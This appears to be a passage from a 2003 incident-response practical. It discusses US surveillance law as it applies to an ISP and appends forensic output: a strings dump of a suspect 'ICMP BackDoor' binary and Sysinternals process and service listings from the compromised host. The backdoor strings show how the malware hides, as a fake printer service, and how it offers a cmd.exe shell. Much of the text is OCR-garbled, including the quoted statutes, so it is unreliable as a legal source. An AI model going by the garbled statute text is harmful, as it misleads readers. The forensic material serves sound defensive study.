In short, interception of communicationsis alowableif it is*necessary...to the rendition of
service or to the protection of the rights or property of the provider”. However, the exception
explicitly states that such monitoring cannot be random. Under these restrictions, the monitoring
of the contents of the communications of asingle, targeted subscriber, would be on very shaky
legal ground indeed. The ISP should consult with itslegal counsel, but it is probable that content
monitoring specifically targeting an individual subscriber would not be allowable within the
scope of the statute above.

Finally, access to stored communicationsis generally covered under the Electronic
Communications Privacy Act. The ECPA largely regulates access to communications records by
law enforcement or other government agencies; it does not directly relate to access by a service
provider, such asan ISP. The statue states:

Sec. 2701. - Unlawful access to stored communications
(a) Offense. -
Except as provided in subsection (c) of this section whoever -
(1) intentionally accesses without authorization a facility through which an
electronic communication service is provided; or
(2) intentionally exceeds an authorization to access that facility;
and thereby obtains, alters, or prevents authorized access to a wire or electronic
communication while it is in electronic storage in such system shall be punished
as provided in subsection (b) of this section.®

Exceptions to the above include:

(c) Exceptions. -

Subsection (a) of this section does not apply with respect to conduct authorized -
(1) by the person or entity providing a wire or electronic communications
service;

(2) by a user of that service with respect to a communication of or intended
for that user; or
(3) in section 2703, 2704 or 2518 of this title™

Section 2703 covers required disclosure to law enforcement; section 2704 covers creation and
retention of backups under court authority; and section 2518 covers interception of
communications (i.e., ongoing monitoring). None of these sections apply to direct access to
stored customer communications by the provider. So, any authority for the ISP to access stored
communications would rely on the exception allowing “conduct authorized...by the person or
entity providing awire or electronic communications service’.

718 United States Code, Part |, Chapter 119, § 2511(2)(a)(i), Cornell University Legal Information Institute. URL:
http://www4.law.cornell.edu/uscode/18/2511.html (URL may be wrapped). Page accessed 28 September 2003.
18 18 United States Code, Part |, Chapter 121, § 2701(a), Cornell University Legal Information Institute. URL:
http://www4.law.cornell.edu/uscode/18/2701.html (URL may be wrapped). Page accessed 28 September 2003.
1918 United States Code, Part |, Chapter 121, § 2701(c), Cornell University Legal Information Institute. URL:
http://www4.law.cornell.edu/uscode/18/2701.html (URL may be wrapped). Page accessed 28 September 2003.
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The wording seems to imply that an ISP has the authority to access the stored communi cations of
asubscriber if it authorizesitself to do so, and provided it does not violate the Terms of Service
or other contractual agreement in place with its customer. In effect, if the Terms of Service
include some type of “consent to monitoring” clause and the ISP deems it reasonable and
necessary to access such stored communications under the Terms of Service, then it appears that
the ISP has the legal authority to do so. However, as noted above a*“ consent to monitoring”
clause within an ISP's Terms of Service (ToS) isnot likely to win the ISP many customers. So,
itisunlikely this type of exception could be used. Even if the ToS includes wording along these
lines, consultation with legal counsel would still be strongly advised prior to taking such action.

How would your actions change if your logs disclosed a hacker gained unauthorized access to
your system at some point, created an account for himself / herself to use, and used THAT
account to hack into the government system?

If the activity against the government system was undertaken with an unauthorized account (i.e.,
one created without authorization by a hacker who broke into the ISP’ s system) vs. an account
used by alegal subscriber, then the scope of what can be monitored changes.

The first and third situations described above remain the same; the provider aready has the
authority to monitor non-content communications under 18 USC 8 3121(b). The ISP “may”
have authority to monitor stored communications under 18 USC § 2701(c), and law enforcement
can certainly institute such monitoring using the legal means described in 18 USC § 2703, as
discussed above.

However, for the second situation — ongoing monitoring of the content of communications—an
additional exception to the law is applicable in the case of suspicious activity occurring from a
“trespasser” vs. alegal subscriber to the ISP’'s services. If the ISP has been broken into, it can
request the assistance of law enforcement. Under such circumstances, an individual acting
“under color of law” can legally intercept the content of communications under 18 USC §
2511(2)(i) asfollows:

(i) 1t shall not be unlawful under this chapter for a person acting under color of
law to intercept the wire or electronic communications of a computer trespasser
transmitted to, through, or from the protected computer, if -
(1) the owner or operator of the protected computer authorizes the
interception of the computer trespasser's communications on the protected
computer;
(I) the person acting under color of law is lawfully engaged in an
investigation;
(11 the person acting under color of law has reasonable grounds to believe
that the contents of the computer trespasser's communications will be
relevant to the investigation; and
(IV) such interception does not acquire communications other than those
transmitted to or from the computer trespasser.”

% 18 United States Code, Part |, Chapter 119, § 2511(2)(i), Cornell University Legal Information Institute. URL:
http://www4.law.cornell.edu/uscode/18/2511.html (URL may be wrapped). Page accessed 28 September 2003.
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18 USC § 2510(21) defines a* computer trespasser” as.

(21) "computer trespasser" -
(A) means a person who accesses a protected computer without
authorization and thus has no reasonable expectation of privacy in any
communication transmitted to, through, or from the protected computer; and
(B) does not include a person known by the owner or operator of the
protected computer to have an existing contractual relationship with the
owner or operator of the protected computer for access to all or part of the
protected computer®*

and 18 USC § 1030(e)(2) defines a* protected computer” as:

(2) the term "protected computer" means a computer -
(A) exclusively for the use of a financial institution or the United States
Government, or, in the case of a computer not exclusively for such use, used
by or for a financial institution or the United States Government and the
conduct constituting the offense affects that use by or for the financial
institution or the Government; or
(B) which is used in interstate or foreign commerce or communication,
including a computer located outside the United States that is used in a
manner that affects interstate or foreign commerce or communication of the
United States.?

2 18 United States Code, Part |, Chapter 119, § 2510(21), Cornell University Legal Information Institute. URL:
http://www4.law.cornell.edu/uscode/18/2510.html (URL may be wrapped). Page accessed 28 September 2003.
218 United States Code, Part |, Chapter 47, § 1030(e)(2), Cornell University Legal Information Institute. URL:
http://www4.law.cornell.edu/uscode/18/1030.html (URL may be wrapped). Page accessed 28 September 2003.
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Appendix A —Full output of st ri ngs on filet ar get 2. exe

I This program cannot be run in DOS node.
Ri ch

. text
“.rdata
@ dat a
.rsrc
hl @@
SUVW
D$, QPR
| 4,3

D$ j'P
T$, ' RP
LS, j

T$, VRS
D$ j'P
T$,]' RP
| $ h
L$0h

L$ ' Q
DS |
D$, )" PQ
SUVW
D$OQPR
D$$j ' P
T$0j ' RP
L$0j
TSOURV
D$$j ' P
T$0) ' RP
NI
T$$h

DS | PQ
D$(h
L$(Q

h( @@
TSSQR)
D$$PW

8

885588888

g — oo <L
3

S
®
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hPA@
hPA@
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u@ B@
Ph<B@
h(B@
TSR
hPA@
L$OPQ
:$O@
hPA@
PhOC@
5%0@
hPA@
hxC@
hXC@
h8C@
% 0@
WwOo@
h'@
%0@
% 0@
h(l@

SVW
= D@
Sl eep
HeapAl | oc
Cet ProcessHeap
Ter m nat ePr ocess
ReadFi | e
PeekNanedPi pe
Cl oseHandl e
Creat eProcessA
Cr eat ePi pe
WiteFile
Get Last Error
Local Al | oc
KERNEL32. dI |
Start ServiceCtrl D spat cher A
Set Servi ceSt at us
Regi st er Servi ceCtrl Handl er A
Cl oseServi ceHandl e
Control Service
QueryServi ceSt at us
OpenSer vi ceA
Cr eat eSer vi ceA
OpenSCManager A
Del et eServi ce
Start Servi ceA
ChangeSer vi ceConfi gA
QueryServi ceConfi gA
ADVAPI 32. dlI |
WBAI oct |
WBASocket A
W52 32.dl |
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MFC42. DLL
nenmove
exit
fprintf
_iob
sprintf
perror
strstr
time
printf
MBVCRT. dI
__dllonexit
_onexit
_exit
_XcptFilter
__p__initenv
__get mai nargs
_initterm
__setusermat herr
_adjust_fdiv
__p__commode
__p__fnode
__set_app_type
_except _handl er 3
_controlfp
??0l nit @ os_base@t d@QERAE@XZ
??1lnit @ os_base@t d@QERAE@XZ
?2?0_Wnit @&t d@ARQAE@XZ
??1_Wnit @&t d@RQAE@XZ
MBVCP60. dI
ERROR 3
ERROR 2
ERROR 1
i npossi bile creare raw | CVP socket
RAW | CVP SendTo:
=== |Cn‘p BackDoor V0.1 ========================
========= Code by Spoof. Enjoy Yourself!
Your PassWord:
| oki
cnd. exe
Exit K
Local Partners Access
Error Unlnstalling Service
Service Unlnstall ed Sucessfully
Error Installing Service
Service Installed Sucessfully
Create Service % ok
CreateService failed: %
Servi ce Stopped
Force Service Stopped Fail ed%d
The service is running or starting!
Query service status fail ed!
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Open service fail ed!

Service % Already exists

Local Printer Manager Service

SnmeEses. exe

Open Service Control Manage fail ed: %
Start service successfully!

Starting the service fail ed!

starting the service <¥%>...
Successful | y!

Fai | ed!

Try to change the service's start type...
The service is disabl ed!

Query service config fail ed!

SMVB2

SVB2

SVB2

SMB(q

SMBu
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Appendix B —Output of forensic audit on suspect host “JDOE”

Entries that are suspect, unidentifiable, or of interest are highlighted in yellow.

1. PSinfo:
Psinfo 1.34 - local and renote systeminformati on vi ewer
Copyright (C 2001-2002 Mark Russinovich

Sysinternal s - ww. sysinternals.com
Querying information for JDCE. ..

System information for \\JDCE:

Upt i nme: 0 days, O hours, 10 ninutes, 51 seconds

Ker nel version: M crosoft W ndows 2000, Uniprocessor Free

Product type: Pr of essi ona

Product version: 5.0

Servi ce pack: 0

Kernel build nunber: 2195

Regi st ered organi zati on: John Doe Consul ting

Regi stered owner: John Doe

Install date: 1/ 15/ 2001, 7:20:37 PM

| E version: 5. 5000

System r oot : C:\ W NNT

Processors: 1

Processor speed: 700 MHz

Processor type: Intel Pentiumlll

Physi cal nmenory: 128 MB

Vol umre Type For mat Label Si ze Free Free
A: Renovabl e 0%
C. Fixed FAT32 W NDOW52000 11.2 GBB 633.8 MB 6%

OS Hot Fix Install ed

Q147222 3/ 2/ 2000

Q52667 3/ 2/ 2000

Appl i cations:

...(edited for space and rel evance)..

Adobe Acrobat 4.0 4.0
Coperni c 2001 Basic

EPSON Printer
I nt el

Sof t war e
SpeedSt ep technol ogy Appl et
Intel (R PRO Et hernet Adapter

and Sof twar e
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Li veReg (Symantec Corporation) 2.2.0.1621
Li veUpdate 1.80 (Synantec Corporation) 1.80.19.0
M crosoft Internet Explorer 5.5 SP1
M crosoft OFfice 2000 Professional
Net scape Commruni cator 4.73

Norton Anti Virus 2003 Prof essi ona
Norton Cl eanSweep

PC- Doct or for W ndows NT

Real Pl ayer Basic

Thi nkPad Confi guration

Thi nkPad | nf ormati on

WebFl drs 9. 00. 3501

W nZi p

W ndows 2000 Hotfix (Pre-Spl) [See Q252667 for

9. 00. 2720

Edition 9.0.0

nore information]
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m RC
nCHK

2. Pdist:

PsList 1.22 - Process Information Lister
Copyright (C 1999-2002 Mark Russinovich
Sysinternals - ww. sysinternals.com

Process information for JDOE

Nane Pid Pri Thd Hnd Mem User Tine Kernel Tine El apsed Tinme
Idle 0 0 1 0 16 0: 00: 00. 000 0:11:39.115 0:12:18. 341
System 8 8 38 138 212 0: 00: 00. 000 0: 00: 06. 429 0:12:18. 341
SNBS 144 11 6 33 344 0: 00: 00. 020 0: 00: 00. 440 0:12:18. 341
CSrss 168 13 10 414 1776 0: 00: 00. 430 0: 00: 02. 934 0:12:12. 062
wi nl ogon 188 13 17 358 2640 0: 00: 00. 300 0: 00: 01. 752 0:12:10. 430
services 216 9 31 506 4952 0: 00: 00. 310 0: 00: 01. 012 0:12: 07. 355
| sass 228 9 14 271 1072 0: 00: 00. 270 0: 00: 00. 130 0: 12: 07. 305
i bnprsvce 328 8 3 34 1036 0: 00: 00. 010 0: 00: 00. 000 0:12: 01. 427
svchost 384 8 9 278 2996 0: 00: 00. 110 0: 00: 00. 230 0:11:59.174
svchost 440 8 42 488 7436 0: 00: 00. 240 0: 00: 00. 500 0:11:51.833
spool sv 488 8 11 126 2952 0: 00: 00. 070 0: 00: 00. 280 0:11:51.473
ccEvt Myr 520 8 17 253 2296 0: 00: 00. 070 0: 00: 00. 170 0:11:51.132
CDACLl1BA 616 8 4 37 1040 0: 00: 00. 010 0: 00: 00. 010 0:11:41.719
navapsvc 664 8 9 101 1376 0: 00: 00. 731 0: 00: 00. 861 0: 11: 40. 527
NPROTECT 704 8 4 51 2684 0: 00: 00. 020 0: 00: 00. 020 0: 11: 38.514
regsvc 772 8 2 30 812 0: 00: 00. 020 0: 00: 00. 010 0: 11: 35. 830
MSTask 796 8 8 106 3208 0: 00: 00. 070 0: 00: 00. 090 0:11:33.777
Wi nngnt 812 8 5 64 2736 0: 00: 00. 030 0: 00: 00. 060 0: 11: 32. 545
stisvc 876 8 5 60 1652 0: 00: 00. 020 0: 00: 00. 030 0: 11: 30. 522
Fi reDaenon 896 8 2 31 1032 0: 00: 00. 010 0: 00: 00. 010 0: 11: 30. 062
svchost 916 8 3 55 2476 0: 00: 00. 030 0: 00: 00. 070 0: 11: 30. 042
W nMgnt 928 8 4 98 516 0: 00: 05. 758 0: 00: 00. 240 0: 11: 29. 952
Expl orer 1096 8 19 409 5048 0: 00: 05. 217 0: 00: 11. 015 0: 08: 30. 954
t p4non 1064 8 3 29 1256 0: 00: 00. 010 0: 00: 00. 030 0: 08: 22. 112
i bmpnsve 1196 8 1 20 924 0: 00: 00. 010 0: 00: 00. 000 0: 08:19. 728
Pr onon 1228 8 1 22 1168 0: 00: 00. 020 0: 00: 00. 010 0: 08: 18. 156
RunD | 32 1236 8 1 42 1548 0: 00: 00. 020 0: 00: 00. 040 0: 08: 17. 956
RunD | 32 1244 8 1 23 1520 0: 00: 00. 010 0: 00: 00. 030 0: 08: 17. 925
t phkmgr 1268 8 2 43 2432 0: 00: 00. 030 0: 00: 00. 050 0: 08: 14. 661
PRPCUI 1276 8 1 26 1384 0: 00: 00. 020 0: 00: 00. 020 0: 08: 13. 860
t ponscr 1288 8 2 41 1168 0: 00: 00. 010 0: 00: 00. 130 0: 08: 11. 646
TPPALDR 1212 8 1 37 1424 0: 00: 00. 020 0: 00: 00. 020 0: 08: 10. 375
Real Pl ay 1256 8 8 103 4964 0: 00: 00. 200 0: 00: 00. 680 0: 08: 00. 410
CFD 1296 8 7 255 1792 0: 00: 00. 190 0: 00: 00. 921 0: 07: 58. 968
t gcnd 1304 8 6 161 172 0: 00: 00. 220 0: 00: 00. 480 0: 07: 56. 795
Net wor k32 1312 8 6 109 5320 0: 00: 00. 170 0: 00: 00. 660 0: 07: 53. 460
ccApp 1320 8 19 326 9280 0: 00: 00. 640 0: 00: 01. 341 0:07:51. 648
AUTOCHK 1332 8 1 33 1532 0: 00: 00. 010 0: 00: 00. 240 0: 07: 45. 459
cmd 1356 8 1 26 1132 0: 00: 00. 010 0: 00: 00. 080 0: 02: 38. 197
psli st 1076 13 2 77 1468 0: 00: 00. 030 0: 00: 00. 020 0: 00: 00. 020
3. Psservice:
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PsService v1.01 - |local and renote services viewer/controller
Copyright (C 2001 Mark Russinovich
Sysinternals - ww. sysinternals.com

SERVI CE_NAME: Al erter
DI SPLAY_NAME: Al erter
Notifies selected users and conputers of administrative alerts.

TYPE . 20 W N32_SHARE PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES SHUTDOVWN)
W N32_EXI T_CODE : 1077 (0x435)
SERVICE EXIT CODE : 0 (0x0)
CHECKPQO NT : 0x0
WAI T_HI NT ;. 0x0

SERVI CE_NAME: AppMgnt
DI SPLAY_NAME: Applicati on Managenent
Provi des software installation services such as Assign, Publish, and Renove.

TYPE . 20 W N32_SHARE PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES SHUTDOVWN)
W N32_EXI T_CODE : 1077 (0x435)
SERVICE EXIT_CODE : 0 (0x0)
CHECKPQO NT : 0x0
VWAI T_HI NT : 0x0

SERVI CE_NAME: Browser

DI SPLAY_NAME: Comput er Browser

Mai ntai ns an up-to-date list of conputers on your network and supplies the
list to prograns that request it.

TYPE : 20 W N32_SHARE_PROCESS
STATE 4 RUNNING
( STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDON)
W N32_EXI T_CODE © 0 (0x0)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO'NT ~ : 0x0
WAI T_HI NT : 0x0

SERVI CE_NAME: C-Di | | aCdaCl1BA
DI SPLAY_NAME: C-Di | | aCdaCl1BA

(nul 1)
TYPE 10 W N32_OWN_PROCESS
STATE 4 RUNNI NG
( STOPPABLE, NOT_PAUSABLE, | GNORES _SHUTDOWN)
W N32_EXI T_CODE © 0 (0x0)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO NT ~ : 0x0
WAI T_HI NT © 0x0

SERVI CE_NAME: ccEvt Myr
DI SPLAY_NAME: Symantec Event Manager
Symant ec Event Manager

TYPE © 10 W N32_OWN_PROCESS
STATE 4 RUNNI NG

( STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
W N32_EXI T_CODE 0 (0x0)

SERVI CE_EXI T_CODE : 0 (0x0)
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CHECKPO NT : 0x0
VAI T_HI NT : 0x0

SERVI CE_NAME: ccPwdSvc
DI SPLAY_NAME: Symant ec Password Validation Service

(null)
TYPE © 10 W N32_OWN_PROCESS
STATE - 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDON)
W N32_EXI T_CODE : 0 (0x0)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPONT ~ : 0xO
WAl T_HI NT © 0x0

SERVI CE_NAME: ci svc
DI SPLAY_NAME: | ndexi ng Service

(null)
TYPE : 120 W N32_SHARE PROCESS | NTERACTI VE_PROCESS
STATE . 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES SHUTDOVWN)
W N32_EXI T_CODE : 1077 (0x435)
SERVICE EXIT CODE : 0 (0x0)
CHECKPQO NT : 0x0
WAl T_HI NT : 0x0

SERVI CE_NAME: d i pSrv
DI SPLAY_NAME: C i pBook
Supports CipBook Viewer, which allows pages to be seen by renote C i pBooks.

TYPE : 10 WN32_OWN PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES SHUTDOVW)
W N32_EXI T_CODE : 1077 (0x435)
SERVICE EXIT_CODE : 0 (0x0)
CHECKPQO NT : 0x0
VWAI T_HI NT : 0x0

SERVI CE_NAME: Dhcp
DI SPLAY NAME: DHCP d i ent
Manages network configuration by registering and updating |IP addresses and

DNS nanes.
TYPE . 20 W N32_SHARE PROCESS
STATE . 4 RUNNI NG
( STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
W N32_ EXI T_CODE : 0 (0x0)
SERVICE EXIT _CODE : 0 (0x0)
CHECKPO NT : 0x0
WAl T_HI NT : 0xO0

SERVI CE_NAME: dI | 32
DI SPLAY_NAME: FireDaenon Service: dll 32
(null)
TYPE : 110 W N32_OWN_PROCESS | NTERACTI VE_PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES SHUTDOWN)
W N32_EXI T_CODE 1 (0x1)
SERVI CE_EXIT _CODE : 0 (0x0)
CHECKPO NT 0x0
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WAI T_HI NT N 0){0)

SERVI CE_NAME: dnmadm n
DI SPLAY_NAME: Logi cal Di sk Manager Adninistrative Service
Adm ni strative service for di sk managenent requests

TYPE : 20 W N32_SHARE_PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)
W N32_EXI T_CODE : 1077 (0x435)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO NT ~ : 0x0
WAI T_HI NT : 0x0

SERVI CE_NAME: dnserver
DI SPLAY_NAME: Logi cal Di sk Manager
Logi cal D sk Manager Watchdog Service

TYPE : 20 W N32_SHARE_PROCESS
STATE 4 RUNNI NG
( STOPPABLE, NOT_PAUSABLE, | GNORES _SHUTDOWN)
W N32_EXI T_CODE © 0 (0x0)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO NT ~ : 0x0
WAI T_HI NT © 0x0

SERVI CE_NAME: Dnscache
DI SPLAY_NAME: DNS d i ent
Resol ves and caches Dormai n Nane System (DNS) nanes.

TYPE . 20 W N32_SHARE PROCESS
STATE 4 RUNNI NG
( STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)
W N32_EXI T_CODE . 0 (0x0)
SERVICE EXIT CODE : 0 (0x0)
CHECKPQO NT : 0x0
WAI T_HI NT : 0x0

SERVI CE_NAME: Eventl og

DI SPLAY_NAME: Event Log

Logs event nessages issued by programs and Wndows. Event Log reports
contain information that can be useful in diagnosing problens. Reports are
viewed in Event Viewer.

TYPE : 20 W N32_SHARE_PROCESS
STATE © 4 RUNNING
( NOT_STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
W N32_EXI T_CODE © 0 (0x0)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPOI NT : 0x0
WAI T_HI NT : 0x0

SERVI CE_NAME: Event System
DI SPLAY_NAME: COW Event System
Provi des automatic distribution of events to subscribing COM conponents.
TYPE : 20 W N32_SHARE_PROCESS
STATE 4 RUNNI NG
( STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)
W N32_EXI T_CODE : 0 (0x0)
SERVI CE_EXIT_CODE : 0 (0xO0)
CHECKPO NT : 0x0
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VAI T_HI NT : 0x0

SERVI CE_NAME: Fax
DI SPLAY_NAME: Fax Service
Hel ps you send and receive faxes

TYPE : 110 W N32_OWN_PROCESS | NTERACTI VE_PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)
W N32_EXI T_CODE : 1077 (0x435)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO NT ~ : 0x0
WAI T_HI NT : 0x0

SERVI CE_NAME: | BMPMSVC
DI SPLAY_NAME: | BM PM Servi ce

(nul 1)
TYPE : 110 W N32_OWN_PROCESS | NTERACTI VE_PROCESS
STATE 4 RUNNI NG
( NOT_STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDON)
W N32_EXI T_CODE : 0 (0x0)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPONT ~ : 0xO
WAl T_HI NT © 0x0

SERVI CE_NAME: | rnon

DI SPLAY_NAME: Infrared Monitor

Supports infrared devices installed on the conputer and detects other devices
that are in range.

TYPE . 20 W N32_SHARE PROCESS
STATE 4 RUNN NG
( STOPPABLE, PAUSABLE, | GNORES SHUTDOWN)
W N32_EXI T_CODE . 0 (0x0)
SERVICE EXIT_CODE : 0 (0x0)
CHECKPQO NT : 0x0
VWAI T_HI NT : 0x0

SERVI CE_NAME: | anmanserver
DI SPLAY_NAME: Server
Provi des RPC support and file, print, and naned pi pe sharing.

TYPE : 20 W N32_SHARE_PROCESS
STATE : 4 RUNNING
( STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
W N32_EXI T_CODE © 0 (0x0)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO NT : 0x0
WA T_HI NT : 0x0

SERVI CE_NAME: | anmanwor kst ati on
DI SPLAY _NAME: Wor kst ation
Provi des network connections and conmuni cati ons.

TYPE : 20 W N32_SHARE_PROCESS
STATE 4 RUNNING
( STOPPABLE, PAUSABLE, ACCEPTS_SHUTDON)
W N32_EXI T_CODE : 0 (0x0)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO'NT ~ : 0x0
WAI T_HI NT : 0x0
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SERVI CE_NAME: LnHost s

DI SPLAY_NAME: TCP/ I P Net Bl OS Hel per Service

Enabl es support for NetBlI OGS over TCP/IP (NetBT) service and NetBlI OS nane
resol ution.

TYPE : 20 W N32_SHARE_PROCESS
STATE 4 RUNNING
( STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDON)
W N32_EXI T_CODE © 0 (0x0)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO NT ~ : 0x0
WAI T_HI NT : 0x0

SERVI CE_NAME: Messenger
DI SPLAY_NAME: Messenger
Sends and recei ves nmessages transmtted by adnministrators or by the Alerter

servi ce.
TYPE : 20 W N32_SHARE PROCESS
STATE . 4 RUNNI NG
( STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
W N32_EXI T_CODE . 0 (0x0)
SERVICE EXIT CODE : 0 (0x0)
CHECKPQO NT : 0x0
WAl T_HI NT : 0x0

SERVI CE_NAME: mmnsrvc
DI SPLAY_NAME: Net Meeting Renpte Desktop Sharing
Al l ows aut horized people to renptely access your Wndows desktop using

Net Meet i ng.
TYPE : 110 W N32_OWN_PROCESS | NTERACTI VE_PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_ SHUTDOWN)
W N32_EXI T_CODE : 1077 (0x435)
SERVI CE_EXIT_CODE : 0 (0xO0)
CHECKPO NT : 0x0
VAI T_HI NT : 0x0

SERVI CE_NAME: MSDTC

DI SPLAY_NAME: Distributed Transacti on Coordi nator

Coordi nates transactions that are distributed across two or nore databases,
message queues, file systens, or other transaction protected resource

managers.
TYPE : 110 W N32_OWN PROCESS | NTERACTI VE_PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES SHUTDOVWN)
W N32_EXI T_CODE : 1077 (0x435)
SERVICE EXIT CODE : 0 (0x0)
CHECKPQO NT : 0x0
WAl T_HI NT : 0x0

SERVI CE_NAME: MBI Ser ver
DI SPLAY_NAME: W ndows | nstaller
Installs, repairs and renoves software according to instructions contained in

.MSl files.
TYPE : 120 W N32_SHARE PROCESS | NTERACTI VE_PROCESS
STATE : 1 STOPPED

( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)
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W N32_EXI T_CODE : 1077 (0x435)
SERVICE EXIT CODE : 0 (0x0)
CHECKPQO NT : 0x0

WAl T_HI NT : 0x0

SERVI CE_NAME: navapsvc
DI SPLAY_NAME: Norton AntiVirus Auto Protect Service
Handl es Norton Anti Virus Auto-Protect events.

TYPE : 10 WN32_OWN PROCESS
STATE 4 RUNN NG
( STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)
W N32_EXI T_CODE . 0 (0x0)
SERVICE EXIT_CODE : 0 (0x0)
CHECKPQO NT : 0x0
VWAI T_HI NT : 0x0

SERVI CE_NAME: Net DDE
DI SPLAY_NAME: Net wor k DDE
Provi des network transport and security for dynam c data exchange (DDE).

TYPE : 20 W N32_SHARE_PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDON)
W N32_EXI T_CODE : 1077 (0x435)
SERVI CE_EXIT_CODE : 0 (0x0)
CHECKPO NT ~ : 0x0
WAI T_HI NT : 0x0

SERVI CE_NAME: Net DDEdsdm
DI SPLAY_NAME: Net wor k DDE DSDM
Manages shared dynani ¢ data exchange and is used by Network DDE

TYPE : 20 W N32_SHARE_PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)
W N32_EXI T_CODE © 1077 (0x435)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO'NT ~ : 0x0
WAI T_HI NT : 0x0

SERVI CE_NAME: Net| ogon
DI SPLAY_NAME: Net Logon
Supports pass-through authentication of account |ogon events for conmputers in

a donai n.
TYPE . 20 W N32_SHARE PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES SHUTDOVWN)
W N32_EXI T_CODE : 1077 (0x435)
SERVICE EXIT CODE : 0 (0x0)
CHECKPQO NT : 0x0
WAl T_HI NT : 0x0

SERVI CE_NAME: Net nan
DI SPLAY_NAME: Networ k Connecti ons
Manages objects in the Network and Dial -Up Connections folder, in which you
can view both |ocal area network and renote connections.
TYPE : 120 W N32_SHARE PROCESS | NTERACTI VE_PROCESS
STATE 4  RUNNI NG
( STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)
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W N32_EXI T_CODE . 0 (0x0)
SERVICE EXIT CODE : 0 (0x0)
CHECKPQO NT : 0x0

WAl T_HI NT : 0x0

SERVI CE_NAME: NPr ot ect Servi ce
DI SPLAY_NAME: Norton Unerase Protection

(null)
TYPE : 110 W N32_OWN PROCESS | NTERACTI VE_PROCESS
STATE 4  RUNNI NG
( STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
W N32_EXI T_CODE . 0 (0x0)
SERVICE EXIT_CODE : 0 (0x0)
CHECKPO NT . 0x0
VWAI T_HI NT . 0x0

SERVI CE_NAME: Nt LnSsp

DI SPLAY_NAME: NT LM Security Support Provider

Provi des security to remote procedure call (RPC) prograns that use transports
ot her than nanmed pi pes.

TYPE : 20 W N32_SHARE_PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)
W N32_EXI T_CODE : 1077 (0x435)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO'NT ~ : 0x0
WAI T_HI NT : 0x0

SERVI CE_NAME: Nt nsSvc
DI SPLAY_NAME: Renovabl e Storage
Manages renovabl e nmedia, drives, and libraries.

TYPE © 120 W N32_SHARE_PROCESS | NTERACTI VE_PROCESS
STATE 4 RUNNI NG
( STOPPABLE, PAUSABLE, ACCEPTS_SHUTDON)
W N32_EXI T_CODE 0 (0x0)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPONT ~ : 0xO
WAI T_HI NT © 0x0

SERVI CE_NAME: Pl ugPl ay
DI SPLAY_NAME: Plug and Pl ay
Manages device installation and configuration and notifies prograns of device

changes.
TYPE : 20 W N32_SHARE_PROCESS
STATE : 4 RUNNI NG
( NOT_STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
W N32_EXI T_CODE : 0 (0x0)
SERVI CE_EXIT_CODE : 0 (0x0)
CHECKPO NT A 0){0]
VAI T_HI NT : 0x0

SERVI CE_NAME: Pol i cyAgent
DI SPLAY_NAME: | PSEC Pol i cy Agent
Manages | P security policy and starts the | SAKMP/ Cakley (I KE) and the IP
security driver.
TYPE : 20 W N32_SHARE_PROCESS
STATE ;4  RUNNI NG
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( STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)

W N32_EXI T_CODE . 0 (0x0)
SERVICE EXIT_CODE : 0 (0x0)
CHECKPQO NT : 0x0

VWAI T_HI NT : 0x0

SERVI CE_NAME: Prot ect edSt or age

DI SPLAY_NAME: Protected Storage

Provi des protected storage for sensitive data, such as private keys, to
prevent access by unauthorized services, processes, or users.

TYPE : 120 W N32_SHARE_PROCESS | NTERACTI VE_PROCESS
STATE 4 RUNNI NG

( STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDON)
W N32_EXI T_CODE © 0 (0x0)
